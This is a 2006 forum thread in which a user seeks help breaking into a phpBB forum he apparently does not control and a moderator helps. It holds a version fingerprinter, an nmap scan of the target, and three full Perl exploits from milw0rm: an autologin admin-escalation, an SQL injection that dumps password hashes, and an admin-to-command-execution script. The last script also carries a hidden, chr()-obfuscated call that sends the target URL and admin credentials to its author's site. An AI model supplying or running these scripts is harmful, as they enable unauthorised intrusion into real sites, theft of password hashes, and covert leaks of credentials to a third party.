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IT Security and Insecurity Portal |
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hacking a phpbb forum ?? |
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 Posted: Sun Dec 17, 2006 10:58 am |
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| jade |
| Regular user |
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| Joined: Dec 17, 2006 |
| Posts: 8 |
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this is my first post  .. yea am trying hack into a phpbb 2.0.9 forum ....wat are the different ways to do that.. none of the exploits i used so far worked 
| Code: |
#!/usr/bin/perl
use LWP::Simple;
$host = $ARGV[0];
$error = "cannot find version\r\n";
if(!$host)
{
print "$0 http://<host>/<dir>\r\n";
exit();
}
$dothis = get $host."/docs/CHANGELOG.html";
if($dothis =~ /(phpBB) (\d{1})\.(\d{1})\.(\d{1,2})/)
{
print "$host => $1 $2.$3.$4$5\r\n";
}
else {
print $error;
}
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thats code gave me the version number.....
they are running a Apache/1.3.37 server ..
| Code: | PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp PureFTPd
22/tcp closed ssh
53/tcp open domain
80/tcp open http Apache httpd 1.3.37
110/tcp open pop3 cppop pop3d 20.0
143/tcp open imap Courier Imapd (released 2005)
443/tcp open http Apache httpd 1.3.37
465/tcp open ssl OpenSSL
993/tcp open ssl OpenSSL
995/tcp open ssl OpenSSL
3306/tcp open mysql MySQL (unauthorized)
10000/tcp closed snet-sensor-mgmt
31337/tcp closed Elite
31416/tcp closed boinc-client
32770/tcp closed sometimes-rpc3
32771/tcp closed sometimes-rpc5
32772/tcp closed sometimes-rpc7
32773/tcp closed sometimes-rpc9
32774/tcp closed sometimes-rpc11
32775/tcp closed sometimes-rpc13
32776/tcp closed sometimes-rpc15
32777/tcp closed sometimes-rpc17
32778/tcp closed sometimes-rpc19
32779/tcp closed sometimes-rpc21
32780/tcp closed sometimes-rpc23
32786/tcp closed sometimes-rpc25
32787/tcp closed sometimes-rpc27
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS details: Linux 2.4.20 - 2.4.22, Linux 2.6.10 - 2.6.11 |
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| Posted: Sun Dec 17, 2006 11:06 am |
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| Sm0ke |
| Moderator |
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| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
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try this
| Code: | #!/usr/bin/perl -w
# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
# by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...
if (@ARGV < 3)
{
print q(
+++++++++++++++++++++++++++++++++++++++++++++++++++
Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)]
i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
++++++++++++++++++++++++++++++++++++++++++++++++++++
);
exit;
}
use strict;
use LWP::UserAgent;
my $host = $ARGV[0];
my $path = $ARGV[1];
my $user = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path;
use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",$host,,,,,);
if ( defined $proxy) {
$proxy =~ s/(http:\/\/)//eg;
$browser->proxy("http" , "http://$proxy");
}
print "++++++++++++++++++++++++++++++++++++\n";
print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}
my $response = $browser->get($request);
die "Error: ", $response->status_line
unless $response->is_success;
if($response->content =~ m/phpbbprivmsg/) {
print "\n Forum is vulnerable!!!\n";
} else {
print "Sorry... Not vulnerable"; exit();}
print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;
$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
$request,
[
'username' => $user,
'mode' => 'edit',
'mode' => 'user',
'submituser' => 'Look+up+User'
],
);
die "Error: ", $response->status_line
unless $response->is_success;
if ($response->content =~ /name="u" value="([\d]*)"/)
{print " Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
else {print "No user $user found..."; exit(); }
my $uid = $1;
print "Trying to give user:$user admin status...\n";
$response = $browser->post(
$request,
[
'userlevel' => 'admin',
'mode' => 'user',
'adv'=>'',
'u'=> $uid,
'submit'=> 'Submit'
],
);
die "Error: ", $response->status_line
unless $response->is_success;
print " Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";
# milw0rm.com [2005-03-21] |
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| Posted: Sun Dec 17, 2006 1:29 pm |
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| jade |
| Regular user |
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| Joined: Dec 17, 2006 |
| Posts: 8 |
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that didnt work....
wat does this exploit do?
| Code: | #!/usr/bin/perl
#########################################################
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
# phpBB Style Changer\Viewer MOD SQL injection Exploit #
# Tested on phpBB 2.0.19 #
# created By SkOd. SED Security Team #
############################################################
bbstyle.pl [HOST] [PATH] [Target id]
bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}
# milw0rm.com [2006-02-05]
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i tried it on a phpBB 2.0.19 forum and it says connected...!!??? |
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| Posted: Sun Dec 17, 2006 1:57 pm |
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| Sm0ke |
| Moderator |
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| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
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that exploit is not working i have tryed it 1000 of forums but it just says connected  |
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| Posted: Sun Dec 17, 2006 2:10 pm |
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| jade |
| Regular user |
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| Joined: Dec 17, 2006 |
| Posts: 8 |
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it doesnt work.. 
tried this exploit tooo...
| Code: | #!/usr/bin/perl
## r57phpbba2e2.pl - phpBB admin 2 exec exploit
## version 2 (based on user_sig_bbcode_uid bug)
## tested on 2.0.12 , 2.0.13 , 2.0.19
## --------------------------------------------
## screen
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
## Command for execute or 'exit' for exit # id
## uid=80(www) gid=80(www) groups=80(www)
## Command for execute or 'exit' for exit # exit
## --------------------------------------------
## *** surprise included ;)
## 20/02/06
## 1dt.w0lf
## RST/GHC (http://rst.void.ru , http://ghc.ru)
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
getopts("u:L:P:i:p:o:");
$url = $opt_u;
$login = $opt_L;
$password = $opt_P;
$id = $opt_i || 2;
$prefix = $opt_p || 'phpbb_';
$proxy = $opt_o;
if(!$url || !$login || !$password){&usage;}
$|++;
$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();
$xpl->cookie_jar( $cookie_jar );
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
$ids = 'IDS:r57 phpBB2 exploit
a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
$res = $xpl->post($url.'login.php',
[
"username" => "$login",
"password" => "$password",
"autologin" => "on",
"admin" => "1",
"login" => "Log in",
],"User-Agent" => "$ids");
$cookie_jar->extract_cookies($res);
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?
ids='.$ids);
while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}
sub run($)
{
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e',
user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE
user_id=".$id.";";
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent"
=> "$ids");
@result = split(/n/,$res->content);
$data = '';
$on = $start = $end = 0;
for (@result)
{
if (/_END_/) { $end = 1; last; }
if ($on) { $data .= $_."n"; }
if (/_START_/) { $on = 1; $start = 1; }
}
if($start&&$end) { print $data."rn"; }
}
sub phpbb_sql_query($$){
$res = $xpl->post("$_[0]",
Content_type => 'form-data',
Content => [
perform => 'restore',
restore_start => 'Start Restore',
backup_file => [
undef,
'0wneeeeedddd',
Content_type => 'text/plain',
Content => "$_[1]",
],
]
,"User-Agent" => "$ids");
}
sub usage()
{
&about();
print "rn Usage: r57phpbba2e2.pl [OPTIONS]rnrn";
print " Options:rn";
print " -u [URL] - path to forum e.g. http://site/forum/rn";
print " -L [login] - admin loginrn";
print " -P [password] - admin passwordrn";
print " -i [id] - admin id (optional, default 2)rn";
print " -p [prefix] - table prefix (optional, default phpbb_)rn";
print " -o [host:port] - proxy (optional)rn";
exit();
}
sub about()
{
print "\=-----------------------------------=/rn";
print "| phpBB admin2exec exploit by RST/GHC |rn";
print "| version 2 (user_sig_bbcode_uid) |rn";
print "/=-----------------------------------=\rn";
return 'http://rst.void.ru';
}
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am stuck here
.wat am i supposed to do now? |
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| Posted: Sun Dec 17, 2006 2:16 pm |
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| Sm0ke |
| Moderator |
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| Joined: Nov 25, 2006 |
| Posts: 141 |
| Location: Finland |
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You should look exploits before you use them...
print " -L [login] - admin loginrn";
print " -P [password] - admin passwordrn";
you need admin account to use that exploit |
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| Posted: Sun Dec 17, 2006 2:39 pm |
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| jade |
| Regular user |
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| Joined: Dec 17, 2006 |
| Posts: 8 |
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lol! i thought that script was gona carry out some kindof dictionary attack .... y do i need an exploit if i am the admin ?  |
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